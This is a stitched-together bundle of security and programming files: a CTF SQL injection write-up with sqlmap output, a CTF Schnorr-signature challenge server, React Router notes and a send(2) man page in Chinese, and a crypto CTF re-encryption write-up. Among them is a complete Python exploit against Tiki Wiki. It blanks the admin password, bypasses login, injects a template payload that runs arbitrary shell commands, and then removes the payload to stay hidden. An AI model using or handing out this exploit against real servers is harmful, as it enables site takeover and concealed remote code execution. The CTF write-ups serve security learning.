day for you: </p> <p class='quote'> "It doesn't help to fight crime to put people in prison who are innocent." - Stephen Breyer </p> <p> If you'd like to return to this quote, just <a href="?id=7">click here</a>. </p> </div> </body> </html> ``` Since this is a quote DB, it's very tempting to try SQL injection: ```console ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ curl -G https://quotedb-web.2021.ctfcompetition.com/ --data-urlencode "id=4 AND 1=1" <html> <head> <title>Quote DB</title> <link rel="stylesheet" href="style.css"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> </head> <body> <h1>Welcome to the amazing Quote DB</h1> <div> <p>Here's the quote of the day for you: </p> <p class='quote'> "Going to prison is like dying with your eyes open." - Bernard Kerik </p> <p> If you'd like to return to this quote, just <a href="?id=4">click here</a>. </p> </div> </body> </html> ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ curl -G https://quotedb-web.2021.ctfcompetition.com/ --data-urlencode "id=4 AND 1=0" <html> <head> <title>Quote DB</title> <link rel="stylesheet" href="style.css"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> </head> <body> Quote not found ``` We'll let `sqlmap` do the rest: ```console ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ sqlmap -u https://quotedb-web.2021.ctfcompetition.com/?id=4 ___ __H__ ___ ___[,]_____ ___ ___ {1.5.3#stable} |_ -| . [(] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:19:30 /2021-08-30/ [10:19:31] [INFO] testing connection to the target URL [10:19:32] [INFO] checking if the target is protected by some kind of WAF/IPS [10:19:32] [INFO] testing if the target URL content is stable [10:19:33] [INFO] target URL content is stable [10:19:33] [INFO] testing if GET parameter 'id' is dynamic [10:19:33] [INFO] GET parameter 'id' appears to be dynamic [10:19:33] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable [10:19:34] [INFO] testing for SQL injection on GET parameter 'id' [10:19:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [10:19:35] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of") [10:19:41] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y [10:22:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [10:22:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [10:22:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [10:22:23] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [10:22:23] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [10:22:23] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [10:22:24] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [10:22:24] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [10:22:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [10:22:24] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [10:22:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [10:22:25] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [10:22:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [10:22:25] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [10:22:26] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [10:22:26] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [10:22:26] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [10:22:27] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [10:22:27] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [10:22:27] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [10:22:28] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [10:22:28] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [10:22:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [10:22:28] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [10:22:29] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [10:22:29] [INFO] testing 'Generic inline queries' [10:22:29] [INFO] testing 'MySQL inline queries' [10:22:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [10:22:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [10:22:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [10:22:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [10:22:31] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [10:22:31] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [10:22:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [10:22:42] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [10:22:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [10:22:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [10:22:43] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [10:22:44] [INFO] target URL appears to have 3 columns in query [10:22:46] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 9967=9967 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=4 AND (SELECT 2955 FROM (SELECT(SLEEP(5)))SZDg) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-7956 UNION ALL SELECT CONCAT(0x7178766b71,0x7247634c72694e7a494f574262797659764f49556a4d786d674e51627a62725a4350664551505a76,0x71787a6a71),NULL,NULL-- - --- [10:22:46] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 19.10 or 20.04 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [10:22:46] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 56 times [10:22:46] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/quotedb-web.2021.ctfcompetition.com' [*] ending @ 10:22:46 /2021-08-30/ ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ sqlmap -u https://quotedb-web.2021.ctfcompetition.com/?id=4 --dbs ___ __H__ ___ ___[)]_____ ___ ___ {1.5.3#stable} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:23:14 /2021-08-30/ [10:23:14] [INFO] resuming back-end DBMS 'mysql' [10:23:14] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 9967=9967 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=4 AND (SELECT 2955 FROM (SELECT(SLEEP(5)))SZDg) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-7956 UNION ALL SELECT CONCAT(0x7178766b71,0x7247634c72694e7a494f574262797659764f49556a4d786d674e51627a62725a4350664551505a76,0x71787a6a71),NULL,NULL-- - --- [10:23:14] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.04 or 19.10 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [10:23:14] [INFO] fetching database names available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] quotedb [*] sys [10:23:15] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/quotedb-web.2021.ctfcompetition.com' [*] ending @ 10:23:15 /2021-08-30/ ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ sqlmap -u https://quotedb-web.2021.ctfcompetition.com/?id=4 --tables -D quotedb ___ __H__ ___ ___["]_____ ___ ___ {1.5.3#stable} |_ -| . [)] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:23:52 /2021-08-30/ [10:23:52] [INFO] resuming back-end DBMS 'mysql' [10:23:53] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 9967=9967 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=4 AND (SELECT 2955 FROM (SELECT(SLEEP(5)))SZDg) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-7956 UNION ALL SELECT CONCAT(0x7178766b71,0x7247634c72694e7a494f574262797659764f49556a4d786d674e51627a62725a4350664551505a76,0x71787a6a71),NULL,NULL-- - --- [10:23:53] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 19.10 or 20.04 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [10:23:53] [INFO] fetching tables for database: 'quotedb' Database: quotedb [2 tables] +--------+ | flag | | quotes | +--------+ [10:23:54] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/quotedb-web.2021.ctfcompetition.com' [*] ending @ 10:23:53 /2021-08-30/ ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ sqlmap -u https://quotedb-web.2021.ctfcompetition.com/?id=4 --dump -D quotedb -T flag ___ __H__ ___ ___["]_____ ___ ___ {1.5.3#stable} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:24:24 /2021-08-30/ [10:24:24] [INFO] resuming back-end DBMS 'mysql' [10:24:25] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 9967=9967 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=4 AND (SELECT 2955 FROM (SELECT(SLEEP(5)))SZDg) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-7956 UNION ALL SELECT CONCAT(0x7178766b71,0x7247634c72694e7a494f574262797659764f49556a4d786d674e51627a62725a4350664551505a76,0x71787a6a71),NULL,NULL-- - --- [10:24:25] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.04 or 19.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [10:24:25] [INFO] fetching columns for table 'flag' in database 'quotedb' [10:24:25] [INFO] fetching entries for table 'flag' in database 'quotedb' Database: quotedb Table: flag [1 entry] +----+--------------------------------------+ | id | flag | +----+--------------------------------------+ | 1 | CTF{little_bobby_tables_we_call_him} | +----+--------------------------------------+ [10:24:26] [INFO] table 'quotedb.flag' dumped to CSV file '/home/user/.local/share/sqlmap/output/quotedb-web.2021.ctfcompetition.com/dump/quotedb/flag.csv' [10:24:26] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/quotedb-web.2021.ctfcompetition.com' [*] ending @ 10:24:26 /2021-08-30/ ```
sec-knowleage
import os import SocketServer import base64 as b64 import hashlib from Crypto.Util import number from Crypto import Random from Crypto.PublicKey.pubkey import * import datetime import calendar from schnorr import * MSGLENGTH = 40000 HASHLENGTH = 16 FLAG = open("flag","r").read() PORT_NUM = 20014 def digitalize(m): return int(m.encode('hex'), 16) class HandleCheckin(SocketServer.StreamRequestHandler): def handle(self): Random.atfork() req = self.request proof = b64.b64encode(os.urandom(12)) req.sendall( "Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length %d bytes, starting with %s\n" % ( len(proof) + 5, proof)) test = req.recv(21) ha = hashlib.sha1() ha.update(test) if (test[0:16] != proof or ord(ha.digest()[-1]) != 0 or ord(ha.digest()[-2]) != 0): # or ord(ha.digest()[-3]) != 0 or ord(ha.digest()[-4]) != 0): req.sendall("Check failed") req.close() return req.sendall("Generating keys...\n") sk, pk = generate_keys() balance = 0 while True: req.sendall("Please tell us your public key:") msg = self.rfile.readline().strip().decode('base64') if len(msg) < 6 or len(msg) > MSGLENGTH: req.sendall("what are you doing?") req.close() return userPk = (int(msg.split(',')[0]), int(msg.split(',')[1])) req.sendall('''User logged in. [Beep] Please select your options: 1. Deposit a coin into your account, you can sign a message 'DEPOSIT' and send us the signature. 2. Withdraw a coin from your account, you need to provide us a message 'WITHDRAW' signed by both of you and our RESPECTED BANK MANAGER. 3. Find one of our customer support representative to assist you. Our working hour is 9:00 am to 5:00 pm every %s! Thank you for being our loyal customer and your satisfaction is our first priority! ''' % calendar.day_name[(datetime.datetime.today() + datetime.timedelta(days=1)).weekday()]) msg = self.rfile.readline().strip().decode('base64') if msg[0] == '1': req.sendall("Please send us your signature") msg = self.rfile.readline().strip().decode('base64') if schnorr_verify('DEPOSIT', userPk, msg): balance += 1 req.sendall("Coin deposited.\n") elif msg[0] == '2': req.sendall("Please send us your signature") msg = self.rfile.readline().strip().decode('base64') if schnorr_verify('WITHDRAW', point_add(userPk, pk), msg) and balance > 0: req.sendall("Here is your coin: %s\n" % FLAG) elif msg[0] == '3': req.sendall("The custom service is offline now.\n\nBut here is our public key just in case a random guy claims himself as one of us: %s\n" % repr(pk)) class ThreadedServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass if __name__ == "__main__": HOST, PORT = "0.0.0.0", int(PORT_NUM) server = ThreadedServer((HOST, PORT), HandleCheckin) server.allow_reuse_address = True server.serve_forever()
sec-knowleage
## Router ### histroy 属性 histroy 来自于 es6 的 histroy 机制 Router组件里的history属性,用来监听浏览器地址栏的变化,并将URL解析成一个地址对象,供 React Router 匹配。 history属性,一共可以设置三种值 - BrowserRouter - hashHistory 路由将通过URL的hash部分(#)切换。 - createMemoryHistory 主要用于服务器渲染。它创建一个内存中的history对象,不与浏览器URL互动。 ### BrowserRouter 浏览器的路由就不再通过`Hash`完成了,而显示正常的路径`example.com/some/path`,背后调用的是浏览器的History API。 `BrowserRouter`放在最高的级别,把你需要的组件放在里面才会有`props`里的一些属性 #### 例子:路由的参数传递 父组件 ```js import React from 'react' import { BrowserRouter,Route,Link } from 'react-router-dom' import Btn from './Btn' class App extends React.Component{ render(){ return( <BrowserRouter> <div className="app"> <Link to='/btn'>进入Btn</Link> <Route path='/btn' component={Btn}/> </div> </BrowserRouter> ) } } export default App ``` 子组件 ```js import React from 'react' class Btn extends React.Component{ render(){ console.log(this.props) return( <div className="btn"> <input type="button" value='点击添加' /> </div> ) } } export default Btn ``` 在子组件的`this.props`里输出三个对象`history`,`location`,`match` #### history(历史记录) **history** 它提供了多种不同的方法来管理各种环境中的JavaScript中的会话历史,通过被包裹的子组件的`this.props.history`来显示。 **history** 对象通常具有以下属性和方法: - length - (number)历史堆栈中的条目数 - action- (字符串)当前动作(PUSH,REPLACE,或POP) - location - (对象)当前位置。可能具有以下属性: - pathname - (string)URL的路径 - search - (string)URL查询字符串 - hash - (string)URL哈希片段 - state- (字符串)位置特定的状态,例如push(path, state)当该位置被推送到堆栈时。仅在浏览器和内存历史记录中可用。 - push(path, [state]) - (function)将新条目推入历史堆栈 - replace(path, [state]) - (function)替换历史堆栈上的当前条目 - go(n)- (function)通过n条目移动历史堆栈中的指针 - goBack() - (功能)相当于 go(-1) 返回刚才的界面 - goForward() - (功能)相当于 go(1) 前进一步 - block(prompt)- (功能)防止导航(请参阅历史文档) #### location(位置) `location`对象代表了应用程序现在的位置。 **location的属性和方法** - hash(哈希值) - key(key值) - pathname(地址) - search(查询地址) - state(state是一个对象通过里面的from来写入一个地址) #### match(路由匹配) 一个`match`对象包含有关如何信息<Route path>相匹配的URL。 **match对象的属性** - params(对象)从与路径的动态段相对应的URL分析密钥/值对 - isExact(布尔值)true如果整个URL匹配(没有尾随字符) - path(string)用于匹配的路径模式。有用建设嵌套<Route>小号 - url(string)URL的匹配部分。有用建设嵌套<Link>小号 ### withRouter 如果想用`router`的方法,而组件没有在路由上,所以用`withRouter`去包装 ```js import React from 'react' import {withRouter} from 'react-router-dom' class Son extends React.Component{ render(){ console.log(this.props) return( <div className='son'> Son </div> ) } } export default withRouter(Son) ``` 父组件里直接使用`<Son />`导入,就可使用`router`的方法 ### Switch Switch,路由跳转时只渲染出第一个与当前访问地址匹配的`Route`或`Redirect` ```js <Switch> // 监听空路由 <Route exact path="/" component={Home}/> <Redirect from="/old-match" to="/will-match"/> <Route path="/will-match" component={WillMatch}/> <Route component={NoMatch}/> // 空路由 </Switch> ``` ### 路由条件匹配 如果一个路由组件,只在需要的组件中加载。我们就会需要这一技巧 ```js <Route render={({ location }) => { //location 是从父组件接受到的 this.props.location 对象 return location.pathname !== '/' ? //根据 location 的 pathname 属性进行路径的判断 (<Sidebar />) : null //通过三步运算来判断显示的路由 }} /> ```
sec-knowleage
import requests import sys import re def auth_bypass(s, t): d = { "ticket" : "", "user" : "admin", "pass" : "trololololol", } h = { "referer" : t } d["ticket"] = get_ticket(s, "%stiki-login.php" % t) d["pass"] = "" # blank login r = s.post("%stiki-login.php" % t, data=d, headers=h) r = s.get("%stiki-admin.php" % t) assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!" def black_password(s, t): uri = "%stiki-login.php" % t # setup cookies here s.get(uri) ticket = get_ticket(s, uri) d = { 'user':'admin', 'pass':'trololololol', } # crafted especially so unsuccessful_logins isn't recorded for i in range(0, 51): r = s.post(uri, d) if("Account requires administrator approval." in r.text): print("(+) admin password blanked!") return raise Exception("(-) auth bypass failed!") def get_ticket(s, uri): h = { "referer" : uri } r = s.get(uri) match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text) assert match, "(-) csrf ticket leak failed!" return match.group(1) def trigger_or_patch_ssti(s, t, c=None): # CVE-2021-26119 p = { "page": "look" } h = { "referer" : t } bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c d = { "ticket" : get_ticket(s, "%stiki-admin.php" % t), "feature_custom_html_head_content" : bypass if c else '', "lm_preference[]": "feature_custom_html_head_content" } r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h) r = s.get("%stiki-index.php" % t) if c != None: assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!" cmdr = r.text.split("startrce")[1].split("endrce")[0] print(cmdr.strip()) def main(): if(len(sys.argv) < 4): print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0]) print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0]) print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0]) return p = sys.argv[2] c = sys.argv[3] p = p + "/" if not p.endswith("/") else p p = "/" + p if not p.startswith("/") else p t = "http://%s%s" % (sys.argv[1], p) s = requests.Session() print("(+) blanking password...") black_password(s, t) print("(+) getting a session...") auth_bypass(s, t) print("(+) auth bypass successful!") print("(+) triggering rce...\n") # trigger for rce trigger_or_patch_ssti(s, t, c) # patch so we stay hidden trigger_or_patch_ssti(s, t) if __name__ == '__main__': main()
sec-knowleage
.\" Copyright (c) 1983, 1991 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" Modified Sat Jul 24 01:15:33 1993 by Rik Faith <faith@cs.unc.edu> .\" Modified Tue Oct 22 17:55:49 1996 by Eric S. Raymond <esr@thyrsus.com> .\" Modified Oct 1998 by Andi Kleen .\" 中文版 Copyright (c) 2002 byeyear 和 www.linuxforum.net .\" .TH SEND 2 "July 1999" "Linux Man Page" "Linux Programmer's Manual" .SH NAME send, sendto, sendmsg \- 从套接字发送消息 .SH 概述 .B #include <sys/types.h> .br .B #include <sys/socket.h> .sp .BI "int send(int " s ", const void *" msg ", size_t " len "," .BI "int " flags ); .br .BI "int sendto(int " s ", const void *" msg ", size_t " len "," .BI "int " flags ", const struct sockaddr *" to ", socklen_t " tolen ); .br .BI "int sendmsg(int " s ", const struct msghdr *" msg "," .BI "int " flags ); .SH 描述 .BR Send , .BR sendto , 和 .B sendmsg 用于向另一个套接字传递消息. .B Send 仅仅用于连接套接字,而 .B sendto 和 .B sendmsg 可用于任何情况下. .PP 目标地址用 .I to 指定, .I tolen 定义其长度.消息的长度用 .IR len 指定. 如果消息太长不能通过下层协议,函数将返回 .B EMSGSIZE 错误,消息也不会被送出. .PP 在数据传送过程中所产生的错误不会返回给 .BR send. 如果发生本地错误,则返回\-1. .PP 当要发送的消息长度大于套接字当前可用缓冲区时, .B send 将阻塞,除非在套接字上设置了非阻塞式输入输出模式. 对于非阻塞模式,这种情况下将返回 .B EAGAIN 错误. The 系统调用 .BR select (2) 可以用来检测何时可以发送更多的数据. .PP 参数 .I flags 是一个标志字,可以包含下列标志: .\" XXX document MSG_PROXY .TP 对于支持带外数据的套接字, .B MSG_OOB 将送出 .I out-of-band (带外)数据(比如, .BR SOCK_STREAM 类型的套接字); 下层协议也必须支持. .I 带外 数据. .TP .B MSG_DONTROUTE 在送出分组时不使用网关.只有直接连接在网络上的主机 才能接收到数据.这个标志通常仅用于诊断和路由程序. 可路由的协议族才能使用这个标志;包套接字不可以. .TP .B MSG_DONTWAIT 使用非阻塞式操作;如果操作需要阻塞,将返回 .B EAGAIN 错误(也可以用 .B F_SETFL .BR fcntl(2) 设置 .B O_NONBLOCK 实现这个功能.) .TP .B MSG_NOSIGNAL 当流式套接字的另一端中断连接时不发送 .B SIGPIPE 信号,但仍然返回 .B EPIPE 错误. .TP .BR MSG_CONFIRM " (仅用于Linux 2.3以上版本)" 通知链路层发生了转发过程:得到了另一端的成功应答. 如果链路层没有收到通知,它将按照常规探测网络上的相邻 主机(比如通过免费arp). 只能用于 .B SOCK_DGRAM 和 .B SOCK_RAW 类型的套接字,且仅对IPv4和IPv6有效.详情参见 .BR arp (7) .PP 结构体 .I msghdr 的定义如下.详情参见 .BR recv (2) 和下文. .IP .RS .nf .ta 4n 17n 33n struct msghdr { void * msg_name; /*地址选项*/ socklen_t msg_namelen; /*地址长度*/ struct iovec * msg_iov; /*消息数组*/ size_t msg_iovlen; /*msg_iov中的元素个数*/ void * msg_control; /*辅助信息,见下文*/ socklen_t msg_controllen; /*辅助数据缓冲区长度*/ int msg_flags; /*接收消息标志*/ }; .ta .fi .RE .PP 可以使用 .I msg_control 和 .I msg_controllen 成员发送任何控制信息.内核所能处理的最大控制消息缓冲区长度由 .B net.core.optmem_max sysctl对每个套接字进行限定;参见 .BR socket (7). .SH 返回值 成功时返回发送的字符个数,否则返回-1. .SH 错误代码 其中一些是套接字层产生的标准错误.其他的是下层协议模块产生的;参见 各自的man手册. .TP .B EBADF 指定了非法描述符. .TP .B ENOTSOCK 参数 .I s 不是一个套接字. .TP .B EFAULT 参数指定的用户地址空间非法. .TP .B EMSGSIZE 消息长度越界. .TP .BR EAGAIN "或者" EWOULDBLOCK 套接字设置为非阻塞式,但所请求的操作需要阻塞. .TP .B ENOBUFS 网络接口输出队列已满.这通常表明接口已停止发送,也有可能是 暂时性的拥挤(这不会发生在linux下,当设备队列溢出时数据报 只是被简单丢弃. .TP .B EINTR 接收到信号. .TP .B ENOMEM 没有可用内存. .TP .B EINVAL 传递的参数非法. .TP .B EPIPE 连接套接字的本地端已关闭.这种情况下进程还会接收到 .B SIGPIPE 信号,除非设置了 .B MSG_NOSIGNAL .SH 兼容于 4.4BSD,SVr4,POSIX1003.1g草案(这些系统调用首次出现于4.2BSD). .B MSG_CONFIRM 是Linux所做的扩展. .SH 注意 上面给出的函数原型遵循Single Unix Specification, glibc2也是这么做的; .I flags 参数在BSD4.*中是`int',但在libc4和libc5中是`unsigned int'; 参数 .I len 在BSD4.*和libc4中是`int',但在libc5中是'size_t'; 参数 .I tolen 在BSD4.*,libc4和libc5中都是`int'. 参见 .BR accept (2). .SH "SEE ALSO" .BR fcntl (2), .BR recv (2), .BR select (2), .BR getsockopt (2), .BR sendfile (2), .BR socket (2), .BR write (2), .BR socket (7), .BR ip (7), .BR tcp (7), .BR udp (7) .SH "[中文版维护人]" .B byeyear <love_my_love@263.net > .SH "[中文版最新更新]" .B 2002.02.27 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
## URE (Crypto, 100p) Universal ReEncryption ###ENG [PL](#pl-version) We have to change ciphertext in such way, that after decrypting plaintext is unchanged: ![](task.png) We need to think about what task authors really want from us - in mathematical terms. `r` and `s` are random numbers, so if we substitute them with another numbers plaintext will surely be unchanged. So if we change `(g^r, h^r, g^s, mh^s)` to `(g^x, h^x, g^y, mh^y)` (for any x != r, y != s) then task is solved. We tried few possibilities, but after not very long time we came to good substitution: r -> r+r s -> r+s Our solver demonstrating that substitution (basic algebra is enough to prove it right) ```python def solve(a, b, c, d, p): # a = g^r # b = h^r # c = g^s # d = m*g^xs return [x%p for x in [ a*a, # g^(r+r) b*b, # h^(r+r) a*c, # g^(r+s) d*b # m*h^(r+s) ]] ``` And our solution a': 3287406693040037454338117703746186185132137914785835752950604845777415758360615360784432898128185782894436154048036406523549199332371675403330587908658389 b': 3106361558536896198315490627917020257039985078045091925325167930756012775219021778274538316287957153184501076513389822529518252243096913454042609623430979 c': 2705749471178411581710759303917406711797848509917528975018497036876024862091214580659339932929912633743841281275200381261759865873903109533343463983599973 d': 5373483039142295785146805049046423326555571326092245347871091138664843112902523040473342171017639501524961161720758693343930112103298610080325764680063048 ###PL version Naszym zadaniem jest zmiana ciphertextu tak, aby po zdeszyfrowaniu jego zawartośc (plaintext) się nie zmieniła: 